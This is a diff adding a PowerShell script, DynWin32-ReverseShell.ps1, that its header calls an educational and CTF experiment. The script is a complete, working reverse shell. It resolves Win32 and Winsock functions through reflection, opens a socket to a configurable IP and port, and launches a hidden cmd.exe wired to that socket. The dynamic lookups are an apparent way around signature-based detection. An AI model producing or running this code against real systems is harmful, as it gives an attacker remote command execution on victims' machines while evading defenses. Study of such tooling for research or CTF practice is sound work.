|  |  | @@ -0,0 +1,115 @@ | 
    
    |  |  | <# | 
    
    |  |  |  | 
    
    |  |  | DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls. | 
    
    |  |  | The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess. | 
    
    |  |  | Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions | 
    
    |  |  | from ws2_32.dll. | 
    
    |  |  |  | 
    
    |  |  | This script should be used for educational purposes only (and maybe while playing CTF :D). | 
    
    |  |  | It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only | 
    
    |  |  | purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as | 
    
    |  |  | just a silly experiment :) | 
    
    |  |  |  | 
    
    |  |  | Author: Tobias Neitzel (@qtc_de) | 
    
    |  |  | License: GPL-3.0 License | 
    
    |  |  |  | 
    
    |  |  | #> | 
    
    |  |  | 
 | 
    
    |  |  | $IP = "127.0.0.1" | 
    
    |  |  | $PORT = 4444 | 
    
    |  |  | 
 | 
    
    |  |  | filter Get-Type ([string]$dllName,[string]$typeName) | 
    
    |  |  | { | 
    
    |  |  | if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) ) | 
    
    |  |  | { | 
    
    |  |  | $_.GetType($typeName) | 
    
    |  |  | } | 
    
    |  |  | } | 
    
    |  |  | 
 | 
    
    |  |  | function Get-Function | 
    
    |  |  | { | 
    
    |  |  | Param( | 
    
    |  |  | [string] $module, | 
    
    |  |  | [string] $function | 
    
    |  |  | ) | 
    
    |  |  | 
 | 
    
    |  |  | if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) ) | 
    
    |  |  | { | 
    
    |  |  | throw "Error: GetModuleHandle and GetProcAddress must be initialized first!" | 
    
    |  |  | } | 
    
    |  |  | 
 | 
    
    |  |  | $moduleHandle = $GetModuleHandle.Invoke($null, @($module)) | 
    
    |  |  | $GetProcAddress.Invoke($null, @($moduleHandle, $function)) | 
    
    |  |  | } | 
    
    |  |  | 
 | 
    
    |  |  | function Get-Delegate | 
    
    |  |  | { | 
    
    |  |  | Param ( | 
    
    |  |  | [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, | 
    
    |  |  | [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, | 
    
    |  |  | [Parameter(Position = 2)] [Type] $retType = [Void] | 
    
    |  |  | ) | 
    
    |  |  | 
 | 
    
    |  |  | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). | 
    
    |  |  | DefineDynamicModule('QM', $false). | 
    
    |  |  | DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | 
    
    |  |  | $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') | 
    
    |  |  | $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') | 
    
    |  |  | $delegate = $type.CreateType() | 
    
    |  |  | 
 | 
    
    |  |  | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) | 
    
    |  |  | } | 
    
    |  |  | 
 | 
    
    |  |  | # Obtain the required types from the already loaded System.dll assembly | 
    
    |  |  | $assemblies = [AppDomain]::CurrentDomain.GetAssemblies() | 
    
    |  |  | $unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods' | 
    
    |  |  | $nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods' | 
    
    |  |  | $startupInformationType =  $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO' | 
    
    |  |  | $processInformationType =  $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION' | 
    
    |  |  | 
 | 
    
    |  |  | # Obtain the methods: GetModuleHandle, GetProcAddress and CreateProcess | 
    
    |  |  | $GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle') | 
    
    |  |  | $GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null); | 
    
    |  |  | $CreateProcess = $nativeMethodsType.GetMethod("CreateProcess") | 
    
    |  |  | 
 | 
    
    |  |  | # Dynamically lookup the required WSA function addresses from ws2_23.dll | 
    
    |  |  | $ConnectAddr = Get-Function "ws2_32.dll" "connect" | 
    
    |  |  | $WSASocketAddr = Get-Function "ws2_32.dll" "WSASocketA" | 
    
    |  |  | $WSAStartupAddr = Get-Function "ws2_32.dll" "WSAStartup" | 
    
    |  |  | $CloseSocketAddr = Get-Function "ws2_32.dll" "closesocket" | 
    
    |  |  | 
 | 
    
    |  |  | # Create delegate types for the dynamically looked up WSA function addresses | 
    
    |  |  | $CloseSocket = Get-Delegate $CloseSocketAddr @([IntPtr]) ([Int]) | 
    
    |  |  | $WSAStartup = Get-Delegate $WSAStartupAddr @([Int16], [Byte[]]) ([Int]) | 
    
    |  |  | $Connect = Get-Delegate $ConnectAddr @([IntPtr], [Byte[]], [Int]) ([Int]) | 
    
    |  |  | $WSASocket = Get-Delegate $WSASocketAddr @([System.Net.Sockets.AddressFamily], [System.Net.Sockets.SocketType], [System.Net.Sockets.ProtocolType], [IntPtr], [UInt32], [Int]) ([IntPtr]) | 
    
    |  |  | 
 | 
    
    |  |  | # Call WSAStartup to initialize WSA and create a WSA socket | 
    
    |  |  | $WSAStartup.Invoke(0x202, [System.Byte[]]::CreateInstance([System.Byte], 0x200)) | 
    
    |  |  | $hSock = $WSASocket.Invoke([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::IP, [IntPtr]::Zero, 0, 0) | 
    
    |  |  | 
 | 
    
    |  |  | # Prepare the sockaddr_in structure in form of a byte array and use it to connect to the target | 
    
    |  |  | [Byte[]] $ip = [System.BitConverter]::GetBytes([System.Convert]::ToInt32([ipaddress]::Parse($IP).Address)) | 
    
    |  |  | [Byte[]] $port = [System.BitConverter]::GetBytes([System.Convert]::ToInt16($PORT)) | 
    
    |  |  | [Array]::Reverse($port) | 
    
    |  |  | [Byte[]] $buffer = 0x02, 0x00 + $port + $ip + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 | 
    
    |  |  | 
 | 
    
    |  |  | $Connect.Invoke($hSock, $buffer, $buffer.Length) | 
    
    |  |  | 
 | 
    
    |  |  | # Create instances of the STARTUP_INFORMATION and PROCESS_INFORMATION structures | 
    
    |  |  | $startupInformation = $startupInformationType.GetConstructors().Invoke($null) | 
    
    |  |  | $processInformation = $processInformationType.GetConstructors().Invoke($null) | 
    
    |  |  | 
 | 
    
    |  |  | # Redirect stdin, stdout and stderr to the socket within of STARTUP_INFORMATION | 
    
    |  |  | $safeHandle = [Microsoft.Win32.SafeHandles.SafeFileHandle]::new($hSock, $true) | 
    
    |  |  | $startupInformation.dwFlags = 0x00000100 | 
    
    |  |  | $startupInformation.hStdInput = $safeHandle | 
    
    |  |  | $startupInformation.hStdOutput = $safeHandle | 
    
    |  |  | $startupInformation.hStdError = $safeHandle | 
    
    |  |  | 
 | 
    
    |  |  | # Create a new cmd.exe process with redirected output as specified above | 
    
    |  |  | $cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\cmd.exe") | 
    
    |  |  | $CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $true, 0x08000000, [IntPtr]::Zero, $null, $startupInformation, $processInformation)) | 
    
    |  |  | 
 | 
    
    |  |  | # Finally close the socket handle that is owned by the script | 
    
    |  |  | $CloseSocket.Invoke($hSock) |